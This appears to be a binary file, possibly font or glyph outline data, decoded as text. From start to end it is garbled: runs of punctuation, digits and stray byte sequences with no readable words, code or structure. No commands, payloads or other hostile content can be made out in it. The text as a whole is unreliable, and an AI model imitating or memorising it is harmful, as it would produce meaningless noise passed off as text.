0#@2".'.46767676?6#"2?6764'&'&) ,  *-' /    &  & 0 *-)   +),( / T  &  '1(@46;547627>732/./&"326756764/..  ] < ]   "  )!  #\""\    (   ) 2-E"&54?676762+./'&'&="326756764/.XXU  UX  ] ] "  )!  #8  XTTX  \ \^ (   ) 2G^v##'#'".?676736 !%&/&76362 '&54676"'./&546767"#"367>'.'&   . np . &      %.       !         j*%"/#"'&/&/&'&'&76?6?6767676?63236;23767632#"'&'&/&54#"##"/&'&"#"&54>?>?'&#"1?67'&'.546323267>327676?676/&'&/&'&'&+2#"&'&'&54?6?676?63%"#"327>54'&'&/ #    :!1  *  16'/    %"   o!   # &!O ' #   %        %'$+6W+       !         3    #73."&         /#+4 **%     &  " =,B,2;+  &0      +  1S232#"'.'&=#"/&'&/&'&'&54?676?676?6763"#"3547>76;'4/&'."#"32?67676?43"36767675'.'&#C9,/( 3# #    *3 #8( (  G ,;  " 1- 7)FC n!"   +  !Q'8  1' (8#     0( .3 (0.9H  <3 S) !=  CF)7 ]) 93  %M:3  1)U2#"'&/&'&'&547676"#"327>54'&/&/&'&2'&/&/&'&547676?6?67>2'&/&/&'&'&54?67676?63#"3276'.'&'&!#"27>7654'&/.'&+  3  "= '-  (  !< !&*R-   %  H,.#?$ !P#  R" 4#  0 0>)  &0V=S      4!   $H!"6%#  - &"&   (1=$ 1  ! S+E"!  6  # "0:2"'&/&'&'&/&'&'&5476?6?>763"#"32?'&'&/&/&/&'&5476?6?6?6?676?"/&"#3276?676?6?6?654&'&'&'&/&=i%) %*M@ A>%#  +`   !0*%    1 ' )     $2a2 7g  *   0(1",*2n/*)>%,  %42>H*$& VxS  $8!?#-       $@ # )  +3 'S" '\' "\" *5 $5.!& 1_2327632#"'&/&'&/&'&'&547676767676?6?676?632#"'&'"/".763763676"13326767676716?'"'&/&/&'&/&'&5476?"";?>54326'&'&+54&  ) Bu 80   ZO90,) 0     4U      (%  % !  E 4.F ;/*'  !      1    )d,!0&X  ! J  <;62#"&/&/&/&547676763#3%"32767654'&   TV ^^^>    03    $#  3Q"    %1      PY  U^%  !*    #6#S)- -)2C7&'&'&546?67676747676?'.4767632'&/##"'&'&/./22#"'&'&=4&'&'&'&'&'&'&#"'.476767676!&#32?6?676=     ON      OP1  $$)&%!(   *  &    .  V(S "   MB,PO  NO <1  /" $ 1?'.54767>32547676&7>'2#"&'&'54676;6!232"&'&47>'?6& UU  5Z +} Z5 <0/J  Q  6  0J DD  ~|*H #c H*|~  &&:       & :22gk%"&54676?'&'&4767632'&/#"'&'&5'2/.546767>&/#"'&'&47676'7.RW     P<    z  % /0    b(PAF   ?0 ~|kG `&&,   (@2-k|2'&/'&/5#&'&/.46?'&'&47676"&=476767>3723#"&76?'#'&'.=&'&'5;67&    ij`6  FEnk D -4   (- )DE  K& YZ ('h1 hiJ   `_nk  =G  8 =#9 y4)66g2(LZ%"'&''.4767632'&/#"&/4636;"&'&'54'./##"&'?6275+ ON      12  _^^_ $vN  ȧ 8\ PO  01" 8998R  Z!72,q%)&'&'&'&'&5476767'&'&4767632'&/#"'&5476?676;23#"'1&5&5'&'&'.#"'.'&=#"'&'&'.7676?'&'&+#)&'32780 , 2/     8    54 F&3    #2 $,   2"  =#   /!2/      -  3&$u #x  ) 4    %2 3" t> +[z23232+##"&'.=#"/&'&'&/#"&'&'5467>;54?676?6767676?54>76"#"32?676764'&'&'.2#"'&'.'&6?676"276?>54/&'&'&   `Q(        3>   +A4~  L'& !%+ 2&+!0]C!!#04J        $*  .E   $   Z Q($    +'%"     )e    !gL'  !  <)EK<2*  0,::=%'} #   +3.S "  " 22z2'&/#"'&'&'&/&/&5476?6?'&'&47676"&=676?676?'&/&'&'&'&#"#"&>?6;2'376?67&'#"'&'.'&=4767    BC3GJ =:   82BQ  *&9/"2*- '    : %% *2%.(! 22$ 1 AC !  .G:& !  v> =:       ' 1# % 01. )9 !<&"&  23    M2*PT2#!"'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'232+#"'&=#"'&5476;54676"#"367>54&+&  * R D 'S.\  BE% TA       $.   .1 C%0 C - -1T؟`*DE  &V;A!u        2(GU2'&/+"'&'&'&'&'&'&47676!2&/&'#"'&546?6;6'!6767     & 2  &# E  \[" Oz 1    !&#    [\  %282'&/#"'&'&'&'&'&/&5476?6?'&'&47676"&54767676?6;2'.767>4&/&/&/&'&/&'&#""&4'&'&'.'&67>32#"'&'&'&7&'3276?&''    CDC>  /! ^c    1.  &- #G<+8%        )  0)* '   K%$//  b-6  z2  1 BCC?   _b"$ 0.    ( ( )$)=%  '2F2 (  '      #t 264./ -?(?$ b.3 y2!#+F2#"'.5476763%2&'&7676#"32?6?654'&'&1 )   '      ^   %' 2>22?>;"/&'&/&'&'&/.&'&7676#"'&'&'&76?2/&+"#'&'5&'&'&76767676;631'&/3267654&'t  lm   !014J8$% @h ; QD  !!  !+ !0._++52 %6 )d\*#1 '&++aa#   @i   2KJ ,1 195   .Fev  %  ml !P&  CGD23q{2&/#!'&/&'&'&/.547>7'&/&7>476731#"'&5'5'.#"'&'&>325&'.'&'#"'&'&76767&%#"&767676;2"!67'&'&    >      2H  &%   ! QD A   !z$ 1     (     T  H2(  %%     ! VC A I! BKg/5#"'.'&'&'&5'5'&'&/&'54>76$;6$"#327276?6?67676=#  '*) '; $!&6/* I< 1 +W9BD" caTP  (dc,  4 *##Ij  yyyW_)*U     PS''2?2'&/#"/&/&'&/&'&'&/&'&'&54767>7'.47676"&5&76?6?6?676232'&/.547>?67654/4#'"/&/&'&"#0#+767'&    68 #+6     :           $$        , JD)  3   +25AXH1 69     "ft )- (          . I;48   *#--6* & )20<5-/$3"%>2T2'&/.'&=4&/#"'&/&=46?6767636;'./&'&'1&/.47676#"276767676763276?67654/&'&'&    % 0/icT9+4 )@L   ji   @)     >' .  "< 1 #  7 /0Q,27 F* M    kj 4   4<%    3?W< 2d"&547676767'#"'&'.54767676?'.4767632'&/&'&/.#"'&'&76?6?2/2"'&/&'&'&#"/.467637632/&'&'&'&'&'&476?6"76?64/&'&  > *  +BA      uv  ! $ %7 @  ME/F ,!     =2AN     %   4  T  X   > "   CB  tu     @   [# !  %    ' " "2Gv2323##"'&'&/&=6?#'&'&/&476767376767>76##33767676735#'&=4?6?5  9=^  00  9=^  0:0/ AA <0/ AA1ZXY^  KK ZXY^  KTJJ T  +qJJ T +q1c%21#"'&'.'&547676?6?6?6;2#"'&'.76767654&#";27676'27654'&'&'&/&'&+"6?67632%"#"4'&547676767676?6?&3276?6?67"/&'&/&'&4+2%#"'{_[<$Q +- "MD1<"  F3%!"& %-- $/ '"<-!=)% NTB% 1X'    /"    #         E$   3 64`$R5 WP_D ++#74 0    %*!  38M3 8,D   (   !      Fs"       $      7X276?6?676232#"'&'&'&/&'&5476?6?'&476?67>326#?6327276?676767654&'.'&'&/&'+"/."'&/#"/32767676767654'&#"/&'&5476732676?#"'./&547676?676?6?'&1      !,#%"! u   )=(2+!,"0/    ,  -B 8      %        [09E,#@%* !Y  . <<    !    "     u(*,"& #    ;?67676?63"#"32767654'&'&/&!"32?6764'&2! 6% % 'A &  %'2(6    # n 0(       6 #  ,  %:  $"?0 S #0     4'%1(G#+#"'&/76716;6#7673636;?4"'&'&7676;765&+ 7   #6XU +  qe "6 ZZ1 %U)  pl % TX* TRS  x$8o23#"'&'&'&'&5&7=47>76;6"#"3276?6?676?6?6?676=&/&"7>?654&+'.*/ *65 7/**}= 5(  +X    8  6      2b C/' *#-  >{>? ([`4'3 S9,3& KY7     2_:32++"'.'&=#"&/.'5&5&=&7676?>76;547676?6;6"32+;576?676?67>76764'&'&'2#"&54676"367676=#"'&'&7676;67>7675'&'&'&#&#"#"3264'&'&< ,3#  0,4(&?b2' 3# , , .2  4&B@A   L /  z 43' mS @A      16"$ <5  E@(5 /%4! <4  E@  TA@ M\I    )   }0+(4 A@    P\   $ 2E27632#"'&/#"'&'&'&'&'&5476?'.547676763"3276?>233276?67654'&/&4?654'&'&/&'&'&#""/&"3#"'&'.'&#"3276767654'&'&'&/&'&/&'&'&'5476?676?6327654.H' !*-!#XM9# + ,K  *. Z<  7` =T+&/8      0o  "  4"(  E$     !%4"  # 27&(    $ /  4" #4X0  M9RF`.& >/%$!mHL$" +#IST=     &  )$'   _   T( '    %'! %!     %  "O'1> 2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&#"'&'&'&'&#"&47676?63722'#"&'&'&#"1'.5476?676?63"#"7676763232654/.#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8  *)17"0 /  ?D *""$+    !#.%"    (!      >0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*% '       )           "1N23#36#"'&'&'&'&75#'&'&/&476767;>7676?67676"#3223;5#&'&/&747>73636;5#"'"'#.'5&5&=T [  bYF0$   %  T))    B+  3% BHz   +BB+ 1 DD   0$+,  %( T.3  Rh%2 S'   R ,Bu.E]v236+/&/5#"'&'&/&57676;6!327>7672;672'&'&/&47676;#"7676=45.F]c)%proPN # : 2  ,12       6| q PN # T7 +222!    NZ U# y26?6765/4#""&'&547676767632#"'&'&'&'&/&'#"/&/./&4?6?67676?6763#"7632327676?6767676767676'4&'&#"#"'&/&'&/&'.k2!,      3&    *:X  $         "$         %   +"!  !!     !,O*0&#  7   "+$$) &1!:B    +j.P;      $S $   !C3"-+$$% "%0T; '  1M%&# %);#J* 1q2"&546?6?6?6763&'&54?>?>75476767>76767632##"'&'&/&=4632"'&/&/&/&'&"1!&'&54'&/&'&'&'&'&'./&#32?6?676= 0%  !   M 'I  @ )$   3   $* $              S " 1 (A   f   7K&(-N11 & @d+k&    $0   $2  q /   "     !**N? E      L1<f23#".'&/&763754'./#+"'.54?>76;62#"'&/#"&'./&676?6?6"#&76?6325'.'Vc'4 3  t  ) Ik@ " X___   !,( JK =H 1 4''@%          5 "5999  T,-%+ a" 76?6/#5'&'&V  T% a#  `#"# 76?6'& %T `  T"a"?5376/&'& %a % a"3?676'&/&%  a %TO92! '&/&76?6";67654&'&+54'.  /            T    @67676;2 '&/&76?!7"#"#"!67>='&'&/&    /   b   "      O83+#"'&'54>767"76?!7676/&'&ְ     ;   /        /   9#"&'&=#"'.546767!%"!?676'&/&     E  /     -    T26u|2'&/ '&'&/&'&'&'&=47676?6?'&/&7>2&547575#'&'&/&676?6;54'.'.'!'&'.6;63!23!'+"&/.=47676;&"654&   &'    !    Ŀ   ' $ jg    b U "N732!#&'.'&/>767;7676'&'&/&/!?.' 5\X"    *$  ݟ`* **    "XGF  `        ` OG ױ' Gkj v#       u*.?T2#"'.'&/47>;6#3  '&54676"#!67>54'&3@%^U  /3t}N  d  N.1  0L0  ~     ^`& T   2)^k2'&/! '&'&'&/&=6767671'&'&7>!#"'1&5&5'.'%'&/#"&/.54?>31;    #&1   o&3   :;  X 1 #& &  $   * n 3&$u #x 9<  IZ&'.#"'&/4."#"'&/'&"#"'&/54&/&#"#"&54762676763273237632'&/#"'&/&'&'&'&/&47675676325'.47667565%'#"&'&'&'&#"32676?&'#"'&'.="              %+!<' $  &    ' A3!: :<  dc  8?=t   "K    &>E#  P      NC   & % 2 ) %      *'nt " Qed6? ~ & E     Z:#"'&76?67676;632&54?4'./&#"%2'&/32+"&'&'5&'547676;5'&'&'&/&'&'&=46763232?6/#"'&'&'&='&'&47676"76?6?6=4.   '1  : %       _b '-@A Z:   <@;3'+   Ih)$ 5 ", yv '     '  #QzN-  su    l _bV    U+ 0  $"I 4-%xv  / ,%  +;   M2+!547676##+32!&'.4676;5#&/&'67676?646327>732+./#"&54?6?'.'&#35j5    ) ;Y     *    <  ,,  < &S! `@B HF 2R R3 *;   --$ ;& RROy~2!!547>##+32!&'.4676;5#"'"'#.'767676?6736!#"&'&=&=46?#"&/.546767#35j5   2  ;Y   Y;    x\  # 8L4  S`@B HF%RR$ ZT  # :L RR(Z-B2&54?'&/&'&476?6?6?>76? 5+/"  ;r   % ]8 #O-Z  DF5*.      M  Z7 5*2Y'&/&'&767'.#"&'&'&'&546?6?6&'&4767632'&'2#"&54?6?6=6'4/&/&/&5467630#"?>?>54'&'&        "  %   p     {&$ . p      '        C$$   %(/,?2 &  %.,",72F$o   &>HN$ %  ;: u#     9(  t6}2#"&/&'&'&5476?6?676?>!2"&'&'&54?6?6767>54'&/&/&'&/&54767>2"&'&/&/&5&7676?676372'.76?>54'&'.63"2676'&'& $    %          ,               "     p"   .( >*    %6&%,1! (     :*$$ .,  5&)"   u   *   !0 # ", 7#  ! $u 2$[s2'&/#"'.'&76767&'.476764675.'&54&'%&54673'&'&/."#";&'    OP)7)&  ~/     1 NO7)( )& !Z  &   z   '  '@?'  2k>;22#"'.'&=47476767&'.4767632'&/&+"'"/.'&5&='&24'&'1&'&'&'&/&#"&'&7676?6;2#"'&/54&'.#'&546767.#"3267%';        %*7#-#        -    )  *;E,&   81&,A6$  "  o     $2$7*$K0/!,$-#   3! (> &7 -(        %L2Q  BZ $  r   #&  !232'&/+"'&'&'&'&=46?67676375'.47676!22&/5'&'.'&/#'&'&'&7>;54&/&'&'&#"'.5476?67>?"!6767/#"&'.547676322&/     & 2  ! dc  X&   -,xI z US #   ),1    99@ed 767&'.'&'5%"#"27654'&'&+       3Q:   ]P0 -  2 RS5(/  "  B  B 7"  4ca7"T  - D)t) *   262'&/+'&'&'&'&'&'&754?676?'.47676#"&'&'5&'.'&'#"'&'&54676;6;2276762#"&4767%"!676=&'    `a "Q: %"  +  :E  &,          S>-1 _`  6W-"!   w       B '  )  )Hht276762"'&/+'&'&'&'&'&5&7=46?676?6;6"!67>767&'.'&'5%"#";3267676=326?>54'&'&+54&'&+       3Q:   ]P0 -  2 RS8        B  B 7"  4ca7"T  - D)t) }     Hht276762"'&/+'&'&'&'&'&5&7=46?676?6;6"!67>767&'.'&'5+       3Q:   ]P0 -  2 RS B  B 7"  4ca7"T  - D)t) @"/&'.'"+";326762;27676'&'&+'&'&S   'W GG98ED  'W GG98Q4N     Q4N   0E2#"/&/&'&/&/&/&'&'&547676?676763"#"32767676?67654/&/&'&'&'&/&"&54?'&5463276?62"'&/&6323#%"'""3276?32767>&'<7+1 ."  +%(31:E#!3 #>Id   !0*% /"* M<12"  #  #k5"  " < " 77  K   '   " 34  0 !3 nV>%  "- '"0A9.3 5,4S  $8!?#- 7/"+.%""NF  _?     <l  cb$,   q   #  r0#+7C2 1#"&'&'67>6767'&'&'6&'&#3276?6?'& 35   %$' 2A0c !1P, X##E49$' 0 ( /j/S 6H4z%6W.m4%&JJ=! 2BMR23632 '&'&7676;57>?>;7676767676763'4/#!5  > &M        ;& .+ ,%$$%,1 >LV_0/   /0_VL.+f,))1"Hf 2+"'&'&/&#"'&7>2'&'&7676?6?6?63"'&/&/&'.4767632%2'.54?6?676?63"&547676?6467632%21'&/&/&/&'&547>"&54>7676?6?67632%#"32>&#"'&/&     '  !     - &     '"      4       '       /2  ( !#1 #           /2 ! 56   ,  " S    /2         'S"  (  2 )7GTao2#"'&76764632'&'&%4632'.462/.%4632&2#"&'&76!2#"&'&76462/.%4632&462&%462&'"276& # w&  l  +%  &w& A1"_!   z   }     u%% ""[_r"'.'&7>76236#3232#&'.4676735#"'&'&/&576?6;6#32#/.546763"327>7654'&'&щ#! $+$  ,     x   -VP+ " HRy    '   "L)  S S ) .+     "M2X\2"'.'&76763736767>'#/&'&/&/&=##"&'&'567>?>;63'"&'5>?63727>32+#"'&/./'#37#26'=6767673'  ' >@:= FF  !SA &-.  "           $ ))N&&R21 C%1 DE  A< -  . A!!$" G > & 28}};; 0 }K1UZ2+"#&'&'&'.=4>72;67676=#'&/&/&/5#"#"'&/476767676;6'37"&'&'&5&=467>76?6;767676;232+""&'456&"3?4+&'&'&'#35  4( 4   AFF" |     0 O'!! H6 "(C  !#  8 !;!" m ,NN.- )1  (4   FG    *  B  . e  $  !&   D?!'&'.6767'5$!     mp    7'  BSz  i*T $!   mpi     e ,     J[ $w*>j[)I211#"'&'&'&/&'&'&'5&?>"&54'&/.'&547676274632#"'&'&/&/&'&/&'&54?676?>2327676?676767>7654/&'&'&'&'&'&'./&2&'&76!2&'&76"#"32767654&#""'&/&'&n              .  +     +  +APp>5&7 %1* =,   6!    "%N\.-D3$   -2 "  "    (+4*$   . Z!1."   B3   (''    #.$(+ $   5" + &+%. %!#,@B* 'FI%  +B0   , ! # / + 4   .C$! !   0Jcq~2'&'&'&'&'&7676?6?676?6?6?6763#";&'./&/&'&!!54/&'!!767"3276?>762/!.   . [LhMD6     1  !7 ! :/     #l B#,D)!'0  $*   rS #  2   !  5/Q'1/>#$$$!  T(  ++ 20 19So2#"'&'&/&'&5476767676767363'76?676?67675654&/&'&'&'4/&/&'&=476?676?643"&76767>4&/&'&/@:.262C*65 ZJ:=/%"5$&0?" 2$      _     7!  #   #  C >?+ +F1:Nx A9.3 *#-  4% ^o J;5.s 2T#,4@    O  !& -E (!& FN;- !   Fa*""' $$ ) 1  ( l^*H4"D" d2/Qv!&'&'&'&='46?>76;6 #!367676?5&'&/&2+/&'&/57676?6"#"32676?5'&'&+ #   --0!  #`* JD -+    +- C?     ח4  ) ח4% T L   S 8  } <   u1[s2#"&'&54767676?62'&/&54?6/'&'&=6?4/&'&'&546"76764'.'&'&)   %   aSRO PK+*  Db^  +0/GX;  [[G2  eb0'" , > *EALJ  xV QY ,  % ;*  l9\23276?676#"'&'&#"/./4?6?676?6&67632&#'"'&/&'!=E 4"RKAF $ nlx@#    RGU`'5,#D!5:'74AF)O   " ,     T!V !   ;1Vx23#/&'&'&547676?676?654'&'&/&/.547676?>;6"3&/&/&/&5476767!%          {r    1  E:FO$-V !    (% (,'/%0   T&%tmV<#IN # 95 QNCGOot#"&'1&5&5'5&'&/&!#&32#&'&'&'&='46?>76;6#&'&'&/&'&=476?676;63#35+ %3   ݟ`* }  0 ! & =  &=0n#h1# 0U   ?\  L * ח4% 5  ^  " }}L2-P2722+&'.'&'676?6?>;6"#!676?656&'&'&/0D? !1$ݼ"'4 'rh!  1 /--&4  4'- -1T؟`* (`)&B!&'&'&'&='46?>76;6 # 7>75&'&/&+ %3  4'--0 !  N  1$ݼ"'4 * ח4% T L  1Cm9232#"/&/#"&/&54?'.'&467>?6?26?>67632'.7>?>/&/&/#4764/&/./&546?67632#"/"'&'&/&%#"&/#"&54?/&'&54?2?6324/476?'&'./"7>32%7632'&547676".'   P ! " #%       4,        Y'*4  -  K      '%; ! !)X( Y% ,  $  ! % 6 /5 0 )& !6 )+  (     66 #.   M Q  ,(' '  n/#"" !2  )O (( (% $' ;         [?i2#"'&'&/&/&/&?67676?676?63"#"767676=64'54'&'.'&2#"&'&54767676?62#"'&'.546?>?6;6"32>7654'&'&M>   7  +$# 18  6B32)$    :+)   %          " ! Z) = `\/&%  1G  N- R Jrr (/$rr" T'" ,  6    *   2%23'&'&'&'&'&'&/&/&/&/+"&/&/.'&/46?676;63223367632#"&'&/#767673636;2'#&'./&'&'&5/##"&'.547676#3#35& n #     *6"   +  mm   ! n    5    $     R mm !  SSS*S  GE! $  -  V #        ?<'[5    V         S SS2-2+"&//&/5+"&'&'&54>76"32767>=4&/327>'4/&'&'&/&'&'&/&/&/&'&+?67654'&'&    ^ _  j  ^%)*>2         % 1/7>2 1  ] ]  }    _+% !+  <+!>   2  2)}+"&/&'&'5+"&'&?>76327"#"67676767676?676?676?6;32>54'&/. _ ^    L)* ' ,3    0j  ] eM c ] ]  I   M  3*Ts    !# U< _  dL222'&/#"'&'&'&'&'5&'&54767676?2?'.47676"&5476736372".76?6?654&/.+&'&654'&'.#"'#"3    0G#' C$"VU  &<6e; # 2"   !  U9  M      " 1 /F \C WV   ' :4  &9#      #2   (+   !2B%"#"&/&54?&'&'&'&5476?67'&'&4767632'&/#"&'&%"&5476?67654'&'&'&/&'#&#"#"&54?67637276323276?6'E aP     1.     45  :$ %5O(   ,1- / ' "z+        q  lF@ GO""#F0@(1.   34   $+$"(#'   f$$ "   D? a (2#KW2'&/!'76767'&'&47676"&76?'5.'&#"'.76?6767'76767%    OP& %"  2 3    " 1 NO (< %"  T $$ 3 ) "̿#2Y%4546?'./&/&'&'&4767632'&/#'&'&547>?>3;#?>76;"#"3276=!/.'#3;276765'&/&'&'(K       mp ;$   6 _  l]h  w  vo    L      mp  ;$     q Z +.  n  +T"'1&5&5'5&'&/&!#&;#&'&'&'&='46?>?6?6;6#"'&/'&'&/57676;2+#&'&/./&'&=476?676;63#35+ #  =  ݟ`* -  1  !   11  D  1 <  '=0n; h P^ ?\  L  * ח4  11   2 7 ]   9 }}P}"&'1&5&5'5&'&/&!#&;#&'&'&'&='46?>76;64632546?>32'#"'"'#.54;'.'#&'&/./&'&=476?676;63#35+ &3  ݟ`* -  0 ! t 02   !+  2]  <  &=0n; h4&P_  ?\  L  * ח4% 02     *_ 7 ^   9 }}"0\`e23+"&/&'&'676?6;6!232+"'&'&/&'&5476?676;6#3#3\!  A     a       A  &SS#)S          T  v!%"'&'767632#&61'&+  * )    yL3n2#"'&'&/.'&'&546767676?6#"327676?676?>7654/&'&/&'&/&'&10- e :#$2'( .C  .Db   " )  "=Z" (     96K!aH V6A3/&9T  )B0''3   $-Q8   u2;2"&'&'676?63!2#"&'&'&=4767676325    'ـ   ())(  s Ku6?2#"&'&'676?63!2#"&/.547>3"2?&'&     ʼn&  ())( > sLKsPL'E!&'.'&'676767676?6;6"!7676?'&'&/? ( d!)5   t`    )!!15)!|!   T      "?HN2#"'&'&5&7676?>67632#"'&/&'&'676767'         L Dt.j   'a)    .rCr >Ar(^;BJ%+&'&'&'.4>76762%2##"'&/.46?673>'7%'7          T qqqqOOb     **ccddccdEEdK2IN#"'&4767676?6;632#"'&'&7676;67676=#'&'./5#"%'372#&'#".54?'&/&'&6?67676;6"32654'&7>'#"'    SE  3(_s n`FF"  | !! G+   ! 89:7 !   '1    #0@   ,    (3     FG H B~  % nY   Yn"D ' S     0(+ XL2k 2#"'.5476363736767>'&'#"#"&/.54676&+#'.'&'67>?>;6232#"&'&?>?6;62"'&546762323#'&'.63232#+"&'&5467672+"'.47>32+"&/&/&/546?676763"354'4'1. jl '"# \[\ #   ,?  !!S   I  + j   6  9      l    5.!  5    S1hl %1  HW\\   " -- -.     S <  S  "S  S $ T+l    S  S ./.  uL1#'&'&5476?'&'&'&76767676?676?>;6"#"76?6?6?>22676?6?6767676=l  %     HY**F=   B$+/1 7<&*"!!/    4I$  %U347<+.(+/) jd$  0 % " "%&AC<3B7 S   **0?(( %E.   1G) +<9LPB2ax+32+"'&'&=7676?6;5#"&'&'&/.547>76;23?6?6?6763%#;54'&/&'&'&"#"327273676756=#!>76'5 1<$4-TW  2*]1O WT11*!]C  E$ vO  2#0)&:,2 A ) 6" N5    & 0E ) a[ *0 U [aS d) 39o "   @-'! "3!S &"$ B&4 _W  V`+"'&'&=#"#&'&'&'.'&'&'&=467676?6;276767676763%#;54'&'&/&/&'&"#"327276?6?>?6?6=  1<$4- " ? #!('  Q, 61    ,"B3 ?06!  ) 0#    ` & 0E TW  .0#5 1   T"  ?39(#! &"$ ""  u'<Qd2323+"#&'.'&7>7676;62#"'&76!";23>7&'&#"?676'&'&y"0( ^9.$/  F  !  j  9,     )VX7&' T \   H * R M2PT&47%36767>'#/&'&/&/&=##"&'&'567>?>;6323'#"#""17>576?>;;27>7654/.'&:!! FF  !SE !- cA ">' '&     \-  < DE  A< -  .  C%-A! "  U_  \_'-  v$6Fw&547>;7#&'&7676;2&'&54767323&547>;"'&/&#";27>4.#"54'.'#& *  @  r   ,        8 !  (    2      ! U wu  uw v0@Wn2#"/&/+"'&'&=#"'.76?>&'&5476371+".4?>;+".5476?>;"#&367654&'       {               ?   uw  wu z   S   #       t1!<Rh27676'.47654762#"&'&'54676;63232"&'&47>321"&'&'5467>32#"&/.546?6;6"?6?7>76=>76./& %        6     6        %  1"MK#KM"                }KM MK#vSd2676?>?6;2#"'&'&/&/&'&#"2"'./567>2'&'&476"'&'='#"'&/&'&'&'&'&5476323276767676?'".5476762%"76?64/&'&    ?!  "!9=G  ($0#&;(6 &  [   i  .(3:6;(:   "'%-8@3', &       3;V,3+(      \P" "    2-#&$  &  & %    \P' " 2W232#"/&/&'&/&/&'&'&54767>76;276?6?6764'#"'&'&/&'&"+76?676?6?676?6%"26?>'5654'&'&   5--$"%! "%   o@  0  QC<6   Z ).2) *&"   Fi @A '" ) 1  # *TG;@"&   8J HARa,!( $  97     20<5-/ F#6  7R- )    B  B/ t.G\!'.'&/&/767676?6"#!67>767&'&'#"327>54'&'&   &   #  $ #$## $ "&       T##% "!u"2K7&'7676;63'67.'%#"276?>54'&'&U O  -   $    tU C! T   u  u"2I7&'7676;63'67.'%#"7>'&'&/&U O  -   $  } U C! T    ~}K#=^2#"/./&'&46?676?63 !#&'&'5&=4676"#"326767654&/. 1   ( ؟`*  $    $   " +  #      2\`2'&'&/5#/&'&/&/&=##36+"&/.'&'67>?>;63'""'&'&'&=476?6?676;2+"/./"32767>54'&'&   FF   qH  t<& -!RA c . :  9 8'  U  u    1^a    A< ݟ`*  7"- -. A!  G    + '      W         v0(@R2#"'.'&'&5476?67676"767654'&'&2&54676762"/&/&'.'&'&6?6?6767676"76767654'&"#"2654'&'&\'    AD   )F /01/  V9,$* A,  8'   #1  /1Y  2, % 0  $+ :% AE$, S * //1/ .& S  '4B,#A,  8'%!8    T   02Z ?&R   2Du}7"&54?6?'&'&'&?6?>?&'.4767632'&/'&'&/4632#"/#"'&76?''&=46?'&'6? <' #  YT)       #  '< n $VP j  86f  "n]b9 .  <'  #  [S*   # '< #WPh $ 87e  p c 9:I4767!++'&'&=#"'&'&'546?5#"&#!5'.=. E (&TW WT&(S))N))  PL+*UV VU*+LPjkTQQTkjVfjpu21#"'&/##"&/&/5#&/.'5>?%76?676#32'#3%654'#35       > TX   .  P  JOI s.   Y)(J)  /4  3  40 =GJQ.&   .Z[ %B< `& J (4H[?|2&54?6767&/&/&'&'&/&'&'".?6762'&//&/&54?/&'&467676?2.47676"?>2/& j= YV +I)f( +   O       zu>o@     J\'Z    WT  *J Z1!  )  A=!O l?   5' 1 F- 2)@Y|2'&/'&'&'&'&'&/&767'.47676!2#"&'.=467676"&54?6?67632'2'&'&'&'&'&'&'&'&767632?%232"&'&47>!21"&'&'5467>"&54?>?632%"67676514&'#&    uv D!%  vt         $.(!  D   a % i  6     6  " $    1 tv  % D vu "5      $  '   A  #-%        " $    t2=is"#"'&'&/57676?5#&'./&54767632+#!"&'&/57676?5#"'&'&/&5476767>763267654+%3W!   G  *  *(,   TV 3)D   Z xx!#  |   w    )'p]RJ:D  pmA+%%" 2:47673'.4767632'&/+'&'&'&'&'&/&/4#"&%#"'.'&7654'#&'&'&/&54676735##"'&'&547>76;6;3"!67>?&'#"'&=&'#"/<?&' "10      "  U7      z  1-O3   .**  **  54c 21  "   '_t  Y S  , 0 :+*"6:)*c`%552&236767&'#"&5476?'&'&4767632'&/"&'&'&5476?&'+"&/&'5&=4675&/"/./&5463267'&'#+"'&'&=46?67363"&'#&547654'&'&/&/&/&#"'&'&6?5.'&=4676;676'1.54>2#"&'1&3>76;2##%'2767>'W  *'     '* *< .   *3   A W  V $  !  ,  :  A < V  er '30  *'   '*  W & W @    3*  )     .  V   V < @  : +3  )   4r "(!4 2Oe23547>?'&1#"&54?>?62676;5.'&=4676;6376'1.54>2#"&'1&3>76;2#+"&'#'./4'&/./.#"3+"&/&'5&=4675#"/.'"/./&546321?'&'&=#+"'&'&=46?67363#"&'&/&/&54756?6?676372#"/&/"32654'&'1.W <@   4 ,  ") :  A <W    '  &J* .    $   A< W   !       V  (t#   #   :  A W   ++< @  : 1   )      &E3%1  & W  @  : /   )   H   ' %     ) W  (##  092'&/&''.'&7676767>76763"32?676?.'&54?6?>32327>76=4/&/&'&/&/&'&/&#"6767654'.H-&7+:9  -, H  ,R0,!  :'( $ #>  E,LT    /+ ' )   K    )0 *7(;692+,]9$  -   :2 2$(XBS  "#a;Nd#-) Y5#(  AC(#8$  &  &7,% N- P!%#!  t1JY2'&'&/&/&'&/&'57676?>76?5'&54767676"6=4&#7676?6?&'&'+"'&'&5"276716?6?5'"&/%  +]w  xm".( 'i<   H   !;_hfi ! [0 gd  qu* A ZD -D,J0* '0 93 0   i $R$S   (,12  **(25  5//57D./*  "v1,8IYhpz2'&/&/&'&'57676?67676&'&'327767'#"&'75%75676?6?2='%3?5   *2(^R ,!W8))K6(oyyoQ JH RN>?}S HJ))*)A1^_;5. x  + #  =DD= -T0-%# .##F. #%^_22 ] %/u0%#'&'&/&'&5476?6!"#?554'"3;"'&/&'&276?6767>'&'&'#?67676&'&') *)WVT %)IjjjjI)p, 6 9=A & %  % <6>  6.   , $##$ T0   (   1 u0u%#'&'&/&'&5476?6!"#?554'";"'&/&'&276?6767>'&/&+5'367>4'&'&') *)WVT %)IjjjjI)p,  ggA & %  %  ml   >  6.   , $##$ T  (   P u$(+  '&'&7>?6"67!#%!V  ``_M$      QV S_`֬5Gs232!'&'&/&7>2#"'&'&7676#327273>767654'&'&'&+./&'&/&'&'&'&/&2#"'&'&7676"327676=6. UD        p    mH !          l     3$     $   * "  -    "  &"" - . . E2+#"'./4&/&'&'&4763276767367'4767676232?>54'.'&#""&#""/3276?>7>7#"326?6764'&'&>0(!% ) &)1  2 (3 -/ D?  ,, !@&  8;! ;-    [W-#Y^ , *1#  *.OBE X ( 3 "!  >=0( !- J*O, - ,   ! ,&  '" =A4E, 0  y2767676276?67632&'&/./132+"'&'&/&4?676?6;1./'.>?6&'6%67'&'667'h36  63^ 5- o9"r 9767   7679 r59 q  L&= 9 m  3663  a7.  n 9" r97  6776  79r59qJ%B  